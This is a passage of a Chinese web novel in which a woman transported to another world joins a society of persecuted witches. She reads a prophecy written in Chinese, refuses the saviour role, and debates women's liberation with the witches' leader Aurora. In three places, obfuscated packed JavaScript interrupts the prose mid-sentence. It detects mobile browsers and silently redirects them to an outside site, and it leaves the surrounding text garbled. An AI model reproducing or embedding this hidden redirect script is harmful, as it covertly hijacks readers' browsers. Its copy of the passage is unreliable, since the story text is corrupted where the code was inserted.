突如其来的光线让唐慈下意识地紧闭双眼,生理性的泪水瞬间涌出。 她用力眨了眨眼,挤出泪水,努力适应着眼前摇曳的、温暖的篝火光。 唐慈的视线从模糊逐渐变得清晰。 她发现自己坐在一张粗糙的木凳上,被结实的麻绳捆着,置身于一个巨大的、由古老树木和藤蔓自然构成的“房间”里。 穹顶是虬结的树枝和浓密的绿叶,墙壁是缠绕着深绿色藤蔓的粗壮树干,地面是覆盖着柔软苔藓的泥土。篝火在中央燃烧,噼啪作响,跳动的火光将周围的一切染上温暖而跃动的橙红色。 而她的面前,正站着十多个年轻女人。 5. 第5章 这些女人姿态各异,或倚着树干,或抱臂而立,或微微前倾好奇地打量。 她们的容貌气质年龄并不相同,但她们都有一个共同点,那就是惊人的美丽。 不是温室花朵的娇艳,而是如同森林、岩石、野火般锐利、充满力量感的美,仿佛蕴含着未被驯服的自然伟力。 她们身上散发着一种与斯嘉丽记忆中那些灰暗、麻木、被教条压弯了腰的人们截然不同的气息——那是自由的、野性的、鲜活的生命力。 唐慈的呼吸停滞了一瞬。 她看着这一张张在摇曳火光下美得惊心动魄、又带着神秘气息的脸庞,大脑彻底宕机。 “欢迎来到黑荆棘女巫互助会的营地。” 十几人中,一个紫眸锐利、举止优雅的女人走上前一步,声音带着一丝慵懒的拖腔,却又清晰得不容置疑: “我是会长奥罗拉。你好。” 唐慈僵在原地,眼睛瞪得老大,消化着“女巫互助会”这几个字。 原来抱着她飞的人是女巫......等等,那杀死斯嘉丽的神秘杀手不会也是女巫吧?她们不会是一伙的吧?先杀再审,这是要干嘛? 也不对......之前这些女巫审问她时还特意问了凶手是谁,感觉她们应该不认识。 然而,不管真相如何,唐慈现在只觉得自己像个误入猛兽巢穴的兔子——尤其是手脚还被捆着。 奥罗拉那双深邃的紫色眼眸在她脸上停留了一瞬,随即像是想起了什么,抬手轻轻拍了一下自己的额头,动作优雅却带着点刻意的戏剧性: “啊,瞧我这记性。”她转向旁边一脸酷酷表情的贝克特:“给她解开。别怠慢了我们的……新朋友。” 粗糙的麻绳很快被解开,唐慈活动了一下被勒得发麻的四肢,血液回流带来一阵刺痛感,她撑着凳子边缘,小心翼翼地站了起来。 她有些局促地看着女巫们,猜不到她们下一步要对待自己。 奥罗拉的目光扫了一圈姐妹们,最后重新落回唐慈身上。她微微扬起下巴,紫眸在火光下闪烁着难以捉摸的光芒。 “唐慈,”奥罗拉念出这个音调奇怪的异界名字,“虽然你也不确定自己是不是女巫,但死而复生这种事......” 她顿了顿,语气加重,“本身就超出了常理的范畴。再加上你来自一个‘神奇的大陆’,以及你刚才关于女巫的那番慷慨陈词。这些都让我们觉得,或许……有个东西,可以给你看看。” 她的话音刚落,周围女巫们的目光瞬间变得更加集中,气氛也带上了一种压抑着期待的凝重。 只见奥罗拉伸手探向腰间一个不起眼的深色布袋,动作小心翼翼地、带着一种在唐慈看来“演技略显浮夸”的虔诚,从袋子里面缓缓抽出一个东西。 那是一个卷轴。 卷轴的轴心一种温润如玉的白色骨头,两端镶嵌着打磨光滑的、带有天然纹理的黑色宝石。 卷轴本身则用一种唐慈从未见过的、泛着奇异暗金色泽的皮质制成,边缘有些磨损,透露出岁月的沧桑。 卷轴被缓缓展开。 火光跳跃着,映照在展开的皮质卷面上。当卷轴上的文字完全展露在唐慈眼前时,她的心脏仿佛被一只冰冷的手狠狠攥住,然后又猛地松开! 中文! 是清晰无误、横平竖直的方块字!而不是这个世界的任何一种符文或字母。 那熟悉的笔画结构,那独属于她遥远故乡的文字,此刻却诡异地出现在这个异世界女巫首领的手中! 震惊、荒谬、难以置信等情绪如同海啸般席卷了唐慈。 她脸上的血色瞬间褪尽,眼睛死死盯着那些墨迹,嘴巴无意识地微微张开,喉咙里发出一声极其轻微、短促的抽气声。 这极其细微却无比真实的反应,没有逃过在场任何一位女巫的眼睛,她们的目光瞬间变得无比锐利,带着一种唐慈无法理解的情绪射向她。 空气中弥漫的紧张感陡然升级。 奥罗拉的声音突然响起,比刚才低沉了许多,带着一种刻意压抑的平静,却蕴含着不容置疑的命令感,每一个字都像淬了冰: “你认识这些字?”她紧紧盯着唐慈的眼睛,试图捕捉任何一丝伪装的痕迹,“念出来,现在。” 唐慈被那冰冷的语气激得一个激灵,从巨大的震惊中勉强回神。 她看着奥罗拉眼中那复杂的光芒,又扫了一眼周围女巫们同样紧绷的脸,她就已经知道,再想办法隐瞒根本没有意义,也毫无用处。 “啊这……怎么文化输出都搞到异世界来了,这不给我找事嘛!”努力压下翻腾的心绪,唐慈目光重新落回那承载着故乡文字的奇异卷轴。 飞速浏览了一下,发现就是首古老诗歌,并没有对自己不利的,她便清了清嗓子朗读起来,声音在寂静的营地里显得格外清晰,在女巫们听来带着一种奇特又动听的韵律: “当焚书之火舔舐智慧之树的根须, 当猎巫之犬撕裂大地最后的安宁; 女巫的血泪浸透荆棘缠绕的岁月, 流放之途铺满寒霜与孤星。 浩劫的阴影遮蔽智慧的辉光, 枷锁沉重,镣铐声声,步履蹒跚。 然而! 灰烬深处,余烬未冷, 异界之门洞开,携刻着陌生符文的魂灵降临。 她识得被遗忘的古老箴言, 她眼中映照着被诅咒的生灵的伤痕。 她并非生于火刑之柴,却承其灼痛, 她并非长于囚禁之笼,却懂其哀鸣。 她将拾起散落的智慧碎片,重铸断裂的权柄,点燃沉寂的烽燧。 引领姐妹穿越谎言的迷雾, 碾碎那以恐惧为名的王座。 让被污名化的真名响彻幽谷, 让被禁锢的力量归还大地之脉。 她的名讳,将在枷锁粉碎之时响彻—— 她即是飞鸟衔来的火种, 她即是……灰烬中重生的黎明。” 唐慈先用中文朗读了一遍,抬头发现女巫们呆愣地看着自己,反应过来她们应该是不会中文,于是又用女巫们能听懂的通用语翻译了一遍。 读完了两遍,唐慈揉了揉头发,心中压力山大:‘携刻着陌生符文的魂灵’……这不就是在说我吗?可瞧这话里话外的意思,简直把我写成救世主了!明明是人民创造历史,哪里有什么救世主,这些神谕就爱搞玄乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她的位置……她的一切…… 一种被强行剥夺的、尖锐的愤怒和恐慌在奥罗拉心底嘶吼。 她才是那个放弃优渥生活、历经磨难、将姐妹们聚集起来的人! 她才是那个始终坚信女巫可以抗争教廷、可以赢得未来的人! 这个唐慈……她凭什么?! 奥罗拉感觉自己的后槽牙咬得咯咯作响,口腔里弥漫开一股血腥味。但公爵小姐的教养和天生的政治本能让她死死压住了这股滔天的恨意。 她深吸一口气,张开双臂,做出一个拥抱的姿势,面向所有姐妹,声音高昂而充满感染力,每一个字都像从牙缝里挤出来,却又包裹着蜜糖: “姐妹们!预言已经昭示,女巫们的希望降临了!让我们欢迎……唐慈,欢迎她加入我们黑荆棘互助会!从今以后,她就是我们血脉相连的姐妹,我们命运的一部分!” 她转向唐慈,紫眸深处是冰封的湖面,表面却荡漾着真诚的涟漪: “唐慈,你愿意留下吗?和我们一起……并肩战斗!” 唐慈自然是没有什么不乐意的,她在这个新世界完全没有自保能力,倚靠着互助会这棵大树起码能保住命。 而女巫们却不知唐慈的想法,她们爆发出震耳欲聋的欢呼,高喊着“救世主”,团团将唐慈围住,营地里欢腾的空气仿佛都浸透了蜜糖的甜香。 6. 第6章 然而,在这喧嚣热浪的边缘,一位气质温婉娴静、浅金长发如瀑、眼眸碧绿如沉静湖水的女子——辨谎女巫玛格丽特·兰开斯特,却不易察觉地蹙了蹙秀气的眉头。 她的辨谎天赋让她清晰地“听”到,奥罗拉刚才那慷慨激昂的邀请里,每一个音节都包裹着浓浓的、被强行压下的不甘、愤怒和……深深的恐惧。 唉,奥罗拉,我的挚友……玛格丽特心中轻轻叹息。 和奥罗拉自小相识的她太了解奥罗拉了,了解她的骄傲,她的野心,以及这份骄傲和野心被骤然踩碎时的痛苦。 玛格丽特向被女巫们挤出圈外、形单影单的奥罗拉走去,刚想轻声说一些宽慰的话,却听到人堆里的唐慈大喊道:“等等,大家先等等!” 玛格丽特停在奥罗拉身边,紧紧握住了朋友冰冷颤抖的手。女巫们也依言安静下来,好奇地望向唐慈。 环视了一圈周围热情洋溢、眼神炽热的女巫们,唐慈感觉压力山大,后背的汗毛都要竖起来了。 “救世主”这顶高帽子戴着实在烫头!她深吸一口气,努力组织着语言道: “我很感谢大家的好意,但是有个事情我必须先说清楚!” 她深吸一口气,努力组织着语言:“我……我不是什么救世主!真的不是!” 女巫们的脸瞬间垮了下来,喜气洋洋的气氛仿佛被泼了一盆冷水,她们困惑又不安地看着唐慈,不明白预言中的“希望”为何要矢口否认自己。 奥罗拉唇角倒是漾起一抹冷笑,用只有玛格丽特能听到的耳语啐道:“果然不堪大用”。 周围的气氛已经不对了,可唐慈那股子魔怔劲儿上来了,根本不看所有人骤变的脸色,反而带着一种书呆子气儿的、急于说清楚理念的赤诚继续道: “在我的家乡,我们坚信历史是由千千万万的‘人民’共同创造的,而不是依靠某一个‘救世主’!” “压迫与解放的斗争,从来都是无数普通人的力量汇聚起来推动的!一个人的力量再大,也改变不了整个世界的根基。真正的力量,在你们每个人身上!” 话音落下,回应她的不是恍然大悟的喜悦,而是一片茫然的死寂。 长久以来,被压迫、被排斥、被当作异类的女巫们,早以习惯了等待渺茫的希望或奇迹,从未听过如此“离经叛道”的观点。 她们自己才是力量之源?自己才是自己的希望? 唐慈的话过于颠覆,她们本能地抗拒理解,或者说,她们此刻只愿意相信那个简单、直接、能带来黎明的预言符号——唐慈本人。 短暂的寂静后,她们带着惶恐和固执纷纷开口: “您在说什么呀,您就是预言中的希望!” “对,您能看懂神谕,这就是证明!” “别谦虚了,你就是救世主!” “我们只相信您!” 女巫们七嘴八舌,热情不减反增,几乎是用一种近乎“保护”的姿态,再次围拢上来,试图用更响亮的欢呼和掌声淹没掉唐慈那不合时宜的“谦辞”。 原因无他,溺水之人只想死死抓住眼前这唯一的救命稻草。 唐慈这番肺腑之言,现场只有两个人真正听进去了,并且受到了震动——正是并肩站在一旁的奥罗拉和玛格丽特。 奥罗拉紫眸深处闪过一丝惊疑和难以理解的愕然,唐慈的发言和她预想中的“救世主”该有的姿态完全不同。 “不是救世主?自己是自己的希望?” 这些概念像投入冰湖的石子,在她心中激起陌生的回响,与她根深蒂固的阶级观念和领导欲产生了剧烈的冲突。 她无法完全理解这种主动推开送上门的拥趸的行为,但唐慈话语中那份斩钉截铁的真诚和某种奇特的理论自信,又让她感到了前所未有的困惑。 而玛格丽特,那双湖水般碧绿的眼眸则亮起一道惊喜的光。 她的天赋清晰地告诉她,唐慈这番话每一个字都发自肺腑,毫无作伪。那份急切想要澄清、想要赋予她们力量的真诚,像一道暖流冲击着她。 她真的这么想,她真的认为力量在我们自己手中……玛格丽特心中掀起了巨浪,这可比单纯的“救世主”降临更让她觉得欣喜和充满希望。 她不动声色地瞥了眼明显一头雾水的奥罗拉,缓步走上前,靠近再度被女巫们围在中间的、因为“宣讲”失败而有些沮丧无措的唐慈,温声道: “好了,姐妹们,让我们的新姐妹唐慈先歇口气,她今天经历得够多了。贝克特,带她去换身干净舒适的衣服好吗?其他人,准备些食物和水,我们待会儿可以举办篝火晚宴欢迎唐慈的加入。” 她的声音带着一种天然的安抚力量,让激动的气氛稍稍缓和。 贝克特点头,带着唐慈走向闲置的帐篷,她虽然寡言,但冰蓝色的眼睛看向唐慈时依旧带着炽热。 其他女巫虽然也忙活着准备晚宴去了,但是目光总忍不住偷偷追随着唐慈的方向,似乎怕她人间蒸发一样。 女巫们的表现都落在奥罗拉和玛格丽特的眼里,奥罗拉愤然一踢裙摆,头也不回地走向自己的帐篷,玛格丽特无奈地轻叹一口气,也匆匆跟了上去。 ...... 奥罗拉冲进帐篷,先往门口扔了个隔绝声音的魔法摆件,随后便大叫着砸碎了手边所有能砸碎的物件。 玛格丽特进来时,正看到奥罗拉像一头困兽,烦躁地在一堆碎垃圾边来回踱步。 玛格丽特恍然未见,径直走到奥罗拉身边,温声道:“我就知道你不会赶我出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973479|177837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 奥罗拉冷哼一声,脸上那完美的伪装早已卸下,只剩下阴沉得压抑不住的怒意: “我谁都不会赶,但现在除了你谁还会来?姐妹们的魂儿都被那个怪人勾走了!……她凭什么?玛格丽特,你也看到了她们看她的样子……就像在仰望神明!而我呢?我付出的一切算什么?一个把她们介绍给救世主的掮客?真是可笑......” 玛格丽特碧绿的眼眸平静地看着她,声音柔和却带着力量: “奥罗拉,冷静。当时我就听出了你的违心......你的愤怒和不甘,我能理解。但赶走她?现在绝不可能。那等于亲手摧毁黑荆棘。” “那怎么办?看着她鸠占鹊巢?”奥罗拉的声音带着尖刻。 玛格丽特犹豫了一下还是实话实话道:“奥罗拉,也许她并没这个想法,在她讲那些人民创造一切的话时,我能感知到她发自肺腑无比真诚。她是真的相信我们都拥有强大的力量。” “真诚?”奥罗拉的声音带着尖刻的嘲讽,“真诚的蠢话!这些蠢话只能让姐妹们更加盲目!而且......也许这只是她更高明的收买人心的手段!”奥罗拉越想越觉得有可能。 玛格丽特没办法了,她站起身,走到奥罗拉面前,握住她气得发抖的手: “奥罗拉,请你试着了解她。既给她一个机会,也给我们自己一个机会。梦露的预言应验了,这是事实,但预言从未指明她将取代你成为领袖。” “她来自一个完全不同的世界,她对这里一无所知。她的力量是什么?她的目的又是什么?她是否真的值得信赖?特别是,她所宣称的那种理念,究竟是空谈,还是真的能带来改变?这些都需要时间观察。” 玛格丽特看着奥罗拉的眼睛,语气坚定,“交给我。我会找机会和她聊聊,用我的眼睛……看看她的心性究竟如何。如果她心怀叵测,或者徒有其表,预言也无法阻止我们保护自己。但如果……” 玛格丽特顿了顿,“她真的能带来希望和改变……奥罗拉,那不正是我们梦寐以求的转机吗?你建立黑荆棘,不就是为了这个?至于谁站在最前面……真的那么重要吗?” 奥罗拉紧绷的身体微微放松了一些,玛格丽特的话像一盆带着凉意的水,浇熄了她一部分失控的怒火。 她反握住玛格丽特的手,长长地、带着疲惫地吐出一口气:“你说得对……玛姬,我总是……太急了。”她眼中闪过一丝脆弱,那是只有在最信任的人面前才会流露的。 “走吧,”玛格丽特拉起仍有些不情不愿的奥罗拉,“我已经闻到烤肉的香味了,篝火晚宴想必是开始了。哎呀奥罗拉,我们去听听吧,看看这个‘不是救世主’的唐慈,还会跟姐妹们讲什么,你应该不想错过这个了解她的机会吧?” 7. 第7章 玛格丽特和奥罗拉走出帐篷时,唐慈和众女巫们已经围在篝火边坐好,篝火边的长桌上摆满了水果、面包和烤肉,但是没有人吃,大家都聚精会神地听着唐慈讲“异界”的故事。 此时唐慈换了一身淡绿色的亚麻长裙,压抑的兜帽也去掉了,披散的长发间掺杂了女巫们给她用彩绳编的小辫,整个人看起来顺眼了许多,混在女巫堆里,倒真有几分森林精灵的感觉。 看着唐慈周身上下的变化,奥罗拉眸色一沉,心头那股子被强占地位的烦闷又涌了上来。 但她一时挑不出唐慈具体的错处,只能一脸抑郁地扯着唇角微扬的玛格丽特找了个离唐慈最远的位置坐下,和其他人一起听唐慈描述那个截然不同的世界。 “......有一种不需要马拉就能奔跑的“铁车”,它们像咆哮的钢铁巨兽,在平坦如镜的石路上飞驰,比最快的骏马还要快上十倍。” 唐慈手舞足蹈地比划着,试图让这些抽象的场景变得更形象。 自从之前初次宣扬“人民创造历史,力量把握在每个人手中”的观点失败后,她就摸不太清该与这些女巫们说什么内容,左思右想,还是决定像其他穿越者一样从现代的工业成就说起。 “......还有一种能装下整个世界的小镜子,它薄如蝉翼,光滑冰冷,自己就能发光。我们手指轻点,就能看到千里之外的人影,听到他们的声音,仿佛他们就在你面前说话。” “啊?”婴儿肥害没完全褪去的魔药女巫菲比忍不住惊呼,眼睛瞪得溜圆:“那你们晚上是用这种小镜子照明吗?” “不,这个小镜子主要是用来了解世界的。至于照明——” 唐慈笑了笑,那笑容在火光下显得有些遥远和怀念: “我们有‘电’。那是一种……无形的能量,就像被驯服的闪电。它沿着细细的线流淌,点亮房间里的灯,比最亮的鲸油灯还要亮,而且干净,没有烟。只要轻轻按一下墙壁上的小钮,‘啪’,黑夜就变成了白昼。” 女巫们发出压抑的惊呼,交换着难以置信的眼神。玛格丽特微微点头,她的能力告诉她,唐慈没有说谎,只是那些词汇描绘的景象太过离奇,让真实本身都显得虚幻。 “那吃的呢?”御兽女巫艾格尼斯问道,“你们也打猎?种地?” “种地,但方式不同。”唐慈解释着,“有巨大的铁牛耕地,播种机像精密的织布机一样撒下种子,还有喷洒药水的机器,呃,就是用金属做的物件……呃,总之,效率很高,能养活很多人。我们的食物很丰富,种类多到数不清,来自世界各个位置......” “听起来你的世界倒像是个巨大的集市,而且货物都堆到了天上。”奥罗拉的声音冷不丁响起,她锐利的目光投在唐慈脸上,篝火的阴影在她深邃的眼窝里跳跃。 “其实,我也有个问题......”她刻意顿了顿,确保所有人的注意力都集中过来,“在那个神奇的世界里,像我们这样的人——被称作‘女巫’的女人,她们过得怎样?” 问题像一块巨石,骤然被投入刚刚还泛着新奇涟漪的水潭。 这不是好奇,而是关乎生存的探询。 所有关于铁车、小镜子和电的窃窃私语和惊叹都消失了,只剩下火焰舔舐木柴发出的嘶嘶声。 十几双眼睛,带着更深的、混杂着长久压抑的恐惧、不敢宣之于口的希冀和某种宿命般沉重的绝望,齐刷刷聚焦在唐慈身上。 空气骤然紧绷。 唐慈深吸了一口气,森林夜晚微凉的空气涌入肺腑,带着泥土和燃烧的气息。 她感受到了问题的千钧重量,但同时也感受到一种熟悉的、来自理论高地的召唤。 问她这个,奥罗拉可真是找对人了,妇女解放运动这种话题正是她的舒适区。 “好!问得好!”唐慈几乎是下意识站起身,在奥罗拉冰冷的审视和其他女巫期待又痛苦的眼神中,沉声开口道: “在我的世界,有没有真正的、拥有你们这样魔法力量的女巫?我不知道。也许有,但她们隐藏得极深,或者以别的名字存在。” 闻言,奥罗拉眼中闪过一丝意料之中的冷嘲,但玛格丽特轻轻碰了碰好友的手臂,示意她听下去。 “但是,”唐慈加重了语气,仿佛推开了一扇沉重的历史之门,“确实有一群女性,在并不算太遥远的过去,被污蔑、被猎杀、被称作‘女巫’。她们承受的,并非因为魔法,而仅仅因为她们是女人,并且试图……做自己。” “不需要证据,只需要指控。她们被拖上‘审判台’,经受无法想象的酷刑——水刑、火烧、铁椅、拔指甲……直到她们‘认罪’,承认自己是魔鬼的仆从。成千上万的女人,就这样被活活烧死、绞死、淹死。那是一个……‘猎巫’的时代。” 女巫们一片死寂。 火光在她们脸上投下深深的阴影,仿佛那些旧日的恐惧瞬间复活,缠绕在她们周围。 菲比捂住了嘴,大眼睛里盈满了泪水;艾格尼斯的手紧紧攥成了拳头,指节因用力而泛白;玛格丽特闭上了眼睛,长长的睫毛在颤抖;而奥罗拉的脸色在火光下显得异常苍白,下颌线绷紧如刀锋,紫眸深处翻涌着冰冷恨意......这描述,与她们亲身经历的何其相似! “那后来呢?” 说话的是植物女巫贝拉。她神经质地绞着手中一根藤蔓,哽咽着问道。 “后来?”唐慈的声音里注入了一丝力量,试图描绘那漫长抗争中的曙光,“后来,女人们站起来了,一代又一代。她们抗争,她们要求学习知识的权利,要求工作的权利,要求掌控自己身体的权利,要求不被当作丈夫或父亲的财产的权利。她们游行,她们写作,她们辩论,她们用法律和行动,一点一点地凿开那堵禁锢了她们几千年、名为传统和偏见的高墙!” 她尽量简洁地描述着那些波澜壮阔的运动:女权主义者们走上街头,高举着标语,面对嘲笑和暴力毫不退缩;女性们争取投票权,像争夺生存的武器;她们涌入学校、工厂、议会,在每一个曾经拒绝她们的领域里留下不可磨灭的足迹。 “到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973480|177837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了我生活的时代,”唐慈的声音带着一种复杂的情绪,混合着身为后来者的庆幸与一丝对未竟事业的苦涩,“情况好了太多太多。女性可以成为学者、医生、法官、领袖……可以自由选择伴侣,或者选择独身。可以拥有财产,发出自己的声音。法律至少在纸面上,承认了我们的平等。我们不再仅仅因为性别本身,就被视为潜在的‘女巫’或‘祸水’。” 她停顿了一下,火光映照着她认真的脸庞。“当然,遗憾还有很多。无形的枷锁,偏见,不公……就像空气中的尘埃,无处不在。薪酬的差异,暴力的威胁,身体的物化……它们依然存在,像旧时代的幽灵,盘踞在某些角落。但重要的是——” 她的目光变得灼热,带着一种不容置疑的信念感,扫过每一张在火光下专注倾听的脸: “抗争从未停止!每一天,都有新的女性在呐喊,在争取,在打破界限。我们拥有了前人无法想象的自由,但通往真正平等的路,还很长,需要每一代人去继续开拓。” 唐慈用力一挥手,结束了她这段临时起意却激情澎湃的临时演讲,胸腔里满满的都是“传播火种”的幸福和满足。 然而,回应她的却是一片沉重令人窒息的寂静。 预想中的向往、欣慰、甚至是被鼓舞的议论统统没有出现,只有木柴噼啪地燃烧着,仿佛在嘲讽唐慈的天真。 一天内两次演讲都没有获得预期的效果,她眨眨眼,环视四周仿佛被施了定身咒的女巫们,期待看到共鸣的火花,却只发现她们脸上深刻的、令人窒息的茫然和悲伤。 “可以学习?不被当作财产?”炼金女巫瑞金娜的声音宛如梦呓,带着不敢置信的颤抖。 “成为法官?如果我可以当法官,妈妈就不会死了......”贝克特的声音粗哑,仿佛这个词烫伤了她的喉咙。 “不会仅仅因为懂得草药……就烧死?”菲比失神地重复着,像是在确认一个天方夜谭。 奥罗拉缓缓站起身,和唐慈相对而立。 她的身影在跳跃的火光下拉得很长,她的脸上没有任何表情,像一尊冰冷的石雕,但那双紫色眼睛的深处,却涌动着唐慈无法解读的、极其复杂的情绪......有震撼,有怀疑,有痛苦,还有一种被深深刺伤的骄傲。 她们这些女巫在泥泞中挣扎求生,唐慈口中备受“嫌弃”的故乡,竟已是她们遥不可及的梦想天堂。 “唐慈……”奥罗拉的声音干涩,“你口中那个存在诸多问题的地方,对我们来说,是连最狂野、最荒诞的梦境都不敢企及的天堂。” 盯着若有所思的唐慈,奥罗拉发出一声充满苦涩和自嘲的嗤笑。 “你想知道,这个世界的女人,尤其是我们这些拥有一些奇怪能力、被打上‘女巫’烙印的女人,过的是什么样的日子吗?” 奥罗拉的声音低沉下去,带着一种近乎残忍的平静,“让我告诉你,什么才是真正的、活生生的‘黑暗时期’。它就发生在当下,此刻,在这片大陆的每一个角落,在每一缕阳光和每一寸阴影之下!” 8. 第8章 伴随着奥罗拉绕着篝火走动,篝火的暖意似乎瞬间被抽走了,森林的寒意笼罩下来。 “一个女孩,”奥罗拉的声音冰冷地叙述,像在宣读一份早已注定的判决书,“从她呱呱坠地起,她就是父亲的财产。她的价值,在于她能换来多少嫁妆,或者能为家族带来多少利益。她不能继承土地,除非她家死得只剩她一个,即便如此,领主也可能随时以各种名义剥夺。她的婚姻,是交易,是筹码。她的身体,是丈夫的所有物,供他使用,供他生育子嗣——最好是男孩。” 女巫们低着头,火光在她们脸上投下斑驳的阴影,仿佛凝固的泪痕,奥罗拉说的正是她们加入互助会前的现实,是她们过往或深或浅的伤疤。 “如果她不幸成了寡妇?”奥罗拉嘴角勾起一丝冰冷的弧度,“她最好祈祷有个成年的、足够强硬的儿子,否则她的一切,包括她自己,都可能被丈夫的兄弟、贪婪的远房亲戚、甚至是乡绅老爷们夺走。如果她试图反抗,试图保住一点点属于自己的东西或尊严?那么‘疯女人’,‘不守妇道’,这些污名会像附骨之疽一样缠上她,直到她彻底屈服,或者……被灰烬教廷‘净化’!” “至于我们?”奥罗拉的声音陡然拔高,带着压抑不住的滔天愤怒和无尽痛苦,火焰在她眼中熊熊燃烧,“‘女巫’这个称号本身就代表着死亡!迫害一个女巫不需要理由!” 她的目光如刀,狠狠剜过唐慈被惊呆的脸:“姐妹们都知道我曾是个贵族小姐。唐慈,你以为我离家出走建立黑荆棘,是因为厌倦了锦衣玉食的生活吗?不!因为我那该死的、道貌岸然的父亲,他发现我觉醒了女巫能力后,用最甜美的谎言把我骗进了地窖,他要活活饿死我!如果不是玛格丽特察觉不对冒险帮我……” 说到这里,巨大的悲愤让奥罗拉哽住了,玛格丽特见状,立刻起身扶住好友剧烈颤抖的肩膀,同时带着一种洞悉一切悲凉的疲惫开口补充道: “的确,唐慈,你从那个天堂一样的地方过来,你口中的问题,对我们而言是奢侈的烦恼。你并不真的了解我们面对的到底是什么......”她摇了摇头,没再说下去,那未尽之言比任何控诉都更沉重。 唐慈呆呆站在那里,感觉刺骨的寒意从脚底直冲头顶。 她终于明白了“女巫”这两个字在这个世界意味着什么——它意味着你生而为女,便是原罪;若你再敢与众不同,稍有力量或知识,便是罪加一等,死路一条! 缓过来的奥罗拉看着唐慈失魂落魄、哑口无言的样子,眼中的愤怒慢慢沉淀为一种深不见底的清明。 她缓缓坐下,不再看唐慈,只是盯着跳跃的火焰,仿佛那火焰里燃烧着她们所有人不堪回首的过去和一片模糊的未来。 “现在,你知道了,来自‘天堂’的唐慈小姐,神谕昭示的救世主......”奥罗拉的声音轻得像一阵随时都会散去的夜风,却带着千钧之力,重重地砸在每个人的心上: “这就是我们的世界,这就是我们为什么像老鼠一样躲在森林深处苟延残喘。神谕说能读懂它的人会带领女巫们走向胜利......那么唐慈,你来告诉我——” 她猛地抬起眼,火光在她深褐色的瞳孔里疯狂舞动:“你要如何引领我们走向黎明?!噢,我才想起来,你甚至不愿意接下这个救世主的担子,反而胡扯什么‘让我们依靠自己’……” 奥罗拉的嘲讽像一把淬毒的匕首,狠狠扎进唐慈的心脏,也刺破了因为唐慈解读出神谕而在营地中蔓延开的虚假的快乐泡泡。 唐慈的脸瞬间涨得通红,又迅速褪去血色,巨大的挫败感和被当众被误解的难堪让她几乎想找个地缝钻进去。 她很想辩驳自己没有“胡扯”,但最终还是放弃了,因为她已经意识到为什么女巫们先前不肯接受她的观点——即使她是真的坚信历史由人民创造,但是像讲课文一样毫无根据地说出口,只会让女巫们误会成这是她想要抛弃她们的表现。 她抬起头,目光扫过奥罗拉燃烧着悲愤火焰的双眼,扫过玛格丽特忧虑而疲惫的面容,扫过贝拉惊恐未定的脸庞,扫过艾格尼斯紧握的拳头和贝拉扯断的藤蔓...... 唐慈忽然有些气馁了,她不知道什么该说什么不该说。但是奥罗拉的问题又不好不回答,因为所有人都直勾勾地盯着她。 “我……” 唐慈思索片刻,还是开口了,她的声音有些沙哑,带着点破釜沉舟的意味。没错,她还是想再做最后一次尝试,看看有没有人能理解她的意思: “说实话,我现在也不知道怎么做才能走向胜利。” 她坦诚得近乎残忍,看到奥罗拉眼中闪过一丝意料之中的冷嘲,其他女巫的眼神也黯淡下去,唐慈咬咬牙,还是继续说了下去: “之前我说过‘我不是救世主’,但大家都不在意,可我还是要再具体说说......在我的国度,曾经有一首歌,传唱了很久。它说:‘从来就没有什么救世主,也不靠神仙皇帝!要创造人类的幸福,全靠我们自己!’,这首歌在漫长岁月中鼓舞了无数人为幸福而努力抗争,也包括我。所以,我真的认为能拯救你们命运的其实就是你们自己!” 唐慈看向在场的每一位女巫,“大家不要觉得我胡扯,因为我已经决定把神谕中的文字教给你们,当你们都能‘识得被遗忘的古老箴言’,就不会把我当成独一无二的救世主了。” 唐慈居然主动放弃垄断神谕解释权!女巫们彻底傻眼了,似乎有人想说什么,但是张开嘴却又无话可说。 这次周围没有掀起反对的狂潮,唐慈觉得自己终于走对了一步,对马上要说的内容也多了些信心。 “至于怎么走向胜利......我也只能给你们讲讲我能借鉴的经验,而这个经验,就是——抗争、变革、打破旧秩序、创造新世界!”(其实想写“革//命”的,不知道审核允不允许所以换了别的词) “至于具体怎么做?我三言两语也说不出来,我们可以在实践中去领会,去探索。这个过程不是一蹴而就的魔法,而是一条需要摸索、充满泪水、汗水甚至鲜血的漫长道路。” 她的声音提高了一些,带着一种不容置疑的信念感:“在这条路上,我想用一句话作为我们可能的起点和方向,那就是——‘践行心中的道义,为所有被压迫者而战’!” 唐慈环视众人,试图用最朴素的语言解读这句话:“女巫,就是被压迫者的一部分。而在这片大陆上,还有千千万万像你们一样,被践踏、被剥夺、被当成私产和工具的普通人!他们……” “够了!” 奥罗拉猛地站起,动作快得带起一阵凛冽的风,篝火的火焰被震得四散飞扬。她的声音如同长矛,带着尖锐的嘲讽和压抑不住的愤怒,直接刺向唐慈: “普通人?唐慈!睁开你那不染尘埃的眼睛看看!你口中那些‘千千万万的普通人’,恰恰是迫害我们的帮凶!要不然你以为我们为什么像丧家之犬一样躲到铁律王朝的边境来?!” 奥罗拉的手指用力指向黑暗森林之外,仿佛要戳破那层夜幕,露出外面狰狞的世界。 